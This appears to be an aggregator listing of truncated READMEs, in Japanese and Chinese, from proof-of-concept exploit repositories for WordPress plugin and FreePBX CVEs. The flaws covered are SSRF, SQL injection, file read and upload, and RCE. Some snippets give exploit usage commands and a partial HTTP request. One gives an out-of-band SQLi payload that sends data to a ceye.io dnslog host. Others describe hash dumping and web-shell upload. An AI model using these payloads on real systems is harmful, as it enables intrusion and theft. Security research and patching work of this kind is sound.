CVE-2022-1386-FusionBuilder-SSRF

CVE-2022-1386 – Fusion Builder 例: python3 exploitcve20221386.py https://vulnerable.site https://abc123.oast.fun Interact.shまたはBurp Collaboratorを使用してコールバックを受信します。 📋 出力例 Fetching nonce from target... Sending SSRF payload to https://abc123.oast.fun... + SSRF confirmed: received callback from victim...

CVE-2022-0169

CVE-2022-0169 — WordPress Photo Gallery SQLi PoC これは、WordPress Photo GalleryプラグインのSQLインジェクション脆弱性であるCVE-2022-0169 のためのシンプルなPython proof-of-concept（PoC）です。 機能 WordPressのバージョンを確認（可能な場合） 脆弱なadmin-ajax.phpエンドポイントを悪用 wpusersのユーザー名とパスワードハッシュをダンプ タイムスタンプ付きのフォルダに結果を保存 必要に応じてhashcatでクラックするかどうかプロンプト表示...

CVE-2025-2539

CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - 任意ファイル読み取り 🔥 脆弱性の概要 WordPressプラグイン File Away バージョン = 3.9.9.0.1 には、認証なしの任意ファイル読み取りの脆弱性があります。 これにより、攻撃者はプラグインのAJAXエンドポイントへの巧妙に細工されたリクエストを通じて、wp-config.php などのサーバー上の任意のファイルを読み取ることができます。 この脆弱性は、admin-ajax.php 経由で fileaway-stats...

SSI-CVE-2022-21661

SSI-CVE-2022-21661 情報システムセキュリティ 第2課題 CVE-2022-21661 は、5.8.3 より前の WordPress へのプラグインの POST リクエストを通じて SQL インジェクションを可能にする脆弱性です。この脆弱性を調査し、悪用します。 環境の設定 環境の起動と設定は、次のコマンドを実行するだけです。 docker-compose run --rm wordpress-cli 要件 Docker Docker-Compose Python 3.9+ Argparser Hashcat サンプルの実行 example.md...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE CVE-2024-2961 および CVE-2023–26326 を悪用して RCE を達成する 使用方法 git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port 分析と技術的詳細 私のブログ記事をご覧ください POC...

CVE-2022-1386

CVE-2022-1386 - Fusion Builder 3.6.2 - 認証なしSSRF 説明 Fusion Builder は、ユーザーがドラッグ＆ドロップインターフェースを使用してページを作成・編集できるWordPressプラグインです。このプラグインには、攻撃者がサーバー上の任意のファイルを読み取ることを可能にする、認証なしのSSRF脆弱性があります。 概念実証 リクエスト: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Windows NT 10.0;...

typehub-exploiter

typehub-exploiter GILANG - CVE-2021-25094 のエクスプロイター 参照 : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ ペイロード : site.com/wp-admin/admin-ajax.php バグのパス : site.com/wp-content/uploads/typehub/custom/ 感謝 : Ibnudz, Dark clown security 挨拶 : Garuda Tersakti 72. Buitenzorg...

CVE-2024-2961-Remote-File-Read

CVE-2024-2961 リモートファイル読み取り このスクリプトは、CVE-2024-2961 に記載されているように、iconv ライブラリが文字エンコーディング変換を誤って処理するシステムの脆弱性を悪用する方法を示しています。これにより、攻撃者は PHP フィルタチェーンと不適切なエンコーディング処理を利用して、サーバー上の任意のファイルを読み取ることができます。 このスクリプトは、細工されたペイロードのアップロード、生成されたファイルの取得、およびその内容の表示のプロセスを自動化します。これは、次の記事で詳述されている研究に基づいています：Iconv...

CVE-2022-28590

CVE-2022-28590 元の発見と手動 PoC は tuando243 によるものです。 Pixelimity 1.0 には、admin/admin-ajax.php?action=installtheme を介したリモートコード実行 RCE の脆弱性が存在します。 この PoC は、さらなるリモートコード実行のためにシンプルなウェブシェルをアップロードします。このエクスプロイトは、サーバー上で system 関数が許可されていることを前提としています。許可されていない場合は、system 以外のどの関数が実行を許可しているかを検出するために、事前の調査が必要です。 インストール...

cve-2025-1323

cve-2025-1323 WP-Recall Plugin SQLインジェクション ⚠️ 法的免責事項 本ツールは、許可されたセキュリティテストおよび教育目的のみ を対象としています。 明示的な許可なくシステムに対して使用しないでください。誤用は違法となる可能性があります。 ✅ 要件 Python 3.x requests モジュール 依存関係をインストール: pip install requests python CVE-2025-1323.py Enter target URL e.g. https://target.com/wp-admin/admin-ajax.php:...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 パス：http://your target/wp-admin/admin-ajax.php インジェクションタイプはout-of-bandです。dnslogを自分で指定し、ceye.ioを置き換える必要があります。 POST データ："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select version,'.27s601.ceye.io\abc',1,1-- a"...

CVE-2026-6433

CVE-2026-6433 — 概念実証 FlipperCode — Custom CSS, JS & PHP · 認証不要の SQLインジェクション → RCE eval経由 影響を受ける: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · WordPressプラグインの表面はadmin-ajax.php経由 概要 項目| 詳細 ---|--- ベクター| プラグインのAJAXアクションを通じてトンネリングされた認証不要のSQLインジェクション 影響|...

CVE-2025-57819_FreePBX

🛡️ CVE-2025-57819 – FreePBX 認証なしSQLインジェクションからRCEへのPoC このリポジトリには、FreePBX の重大な認証なしSQLインジェクション脆弱性 である CVE-2025-57819 を標的とした2つのPython Proof-of-Concept PoC スクリプトが含まれています。 🧠 脆弱性について CVE-2025-57819 CVE-2025-57819 は FreePBX の複数バージョンに影響を与え、admin/ajax.php の脆弱なパラメータを介して認証されていないリモート攻撃者 が任意のSQLクエリ を実行できるようにします...

CVE-2021-24762

概要 このリポジトリは、HTTPスキャンによってWordPressインスタンス上で特定された脆弱性CVE-2021-24762の検出について文書化しています。 この脆弱性は、WordPressのAJAXエンドポイントで発見されました： /wp-admin/admin-ajax.php このエンドポイントは、WordPressのプラグインやテーマが非同期リクエストを処理するために一般的に使用されます。AJAXアクションの検証が不適切であるか、実装が安全でない場合、攻撃者がこのエンドポイントを悪用する可能性があります。 スキャン結果 脆弱性スキャンから以下の結果が得られました：...

CVE-2024-50450

CVE-2024-50450 WordPress Meta Data and Taxonomies Filter MDTF = 1.3.3.4 - 認証なし任意ショートコード実行 説明: The MDTF – Meta Data and Taxonomies Filter プラグイン for WordPress は、バージョン 1.3.3.4 までを含むすべてのバージョンにおいて、任意のショートコード実行に対して脆弱です。これは、ソフトウェアが doshortcode...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0クリックRCEエクスプロイト 作者: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 このリポジトリには、脆弱なWordPressプラグインにおける認証なしの任意ファイルアップロード脆弱性であるCVE-2024-51793を悪用し、リモートコード実行（RCE）に至る概念実証エクスプロイトが含まれています。 スクリプトの動作...

CVE-2024-52430

CVE-2024-52430 Lis Video Gallery = 0.2.1 - 未認証のPHPオブジェクトインジェクション 説明 WordPress用Lis Video...

CVE-2026-18143

CVE-2026-18143 — Request a Quote for WooCommerce Addify 任意文件上传 针对 Request a Quote for WooCommerce （woocommerce-request-a-quote，Addify / WooCommerce.com）中 CVE-2026-18143 的 Python 3 PoC。 描述（PoCbit / GitHub） CVE-2026-18143 — Request a Quote for WooCommerce ≤ 2.9.2 允许通过 afrfqsubmitquoteviapopup...

CVE-2026-27540

🌐 语言 / Dil 📌 概述 WooCommerce Wholesale Lead Capture WWLC — 未认证文件上传 → RCE | ---|--- 产品| WooCommerce Wholesale Lead Capture — wwlc 插件 版本| ≤ 2.0.3.1 已修复| 2.0.3.2+ — 上传处理器已加固 认证| 未认证 向量| admin-ajax.php?action=wwlcfileuploadhandler 字段| file（multipart 上传） 写入路径| WordPress uploads 目录 Payload|...

CVE-2026-89055

CVE-2026-89055 — Customer Reviews for WooCommerce CusRev 授权绕过 针对 Customer Reviews for WooCommerce （customer-reviews-woocommerce / Ivole CusRev）中 CVE-2026-89055 的 Python 3 PoC。 描述（PoCbit / GitHub） CVE-2026-89055 — Customer Reviews for WooCommerce CusRev ≤ 5.120.0 在公开的本地评论表单 AJAX...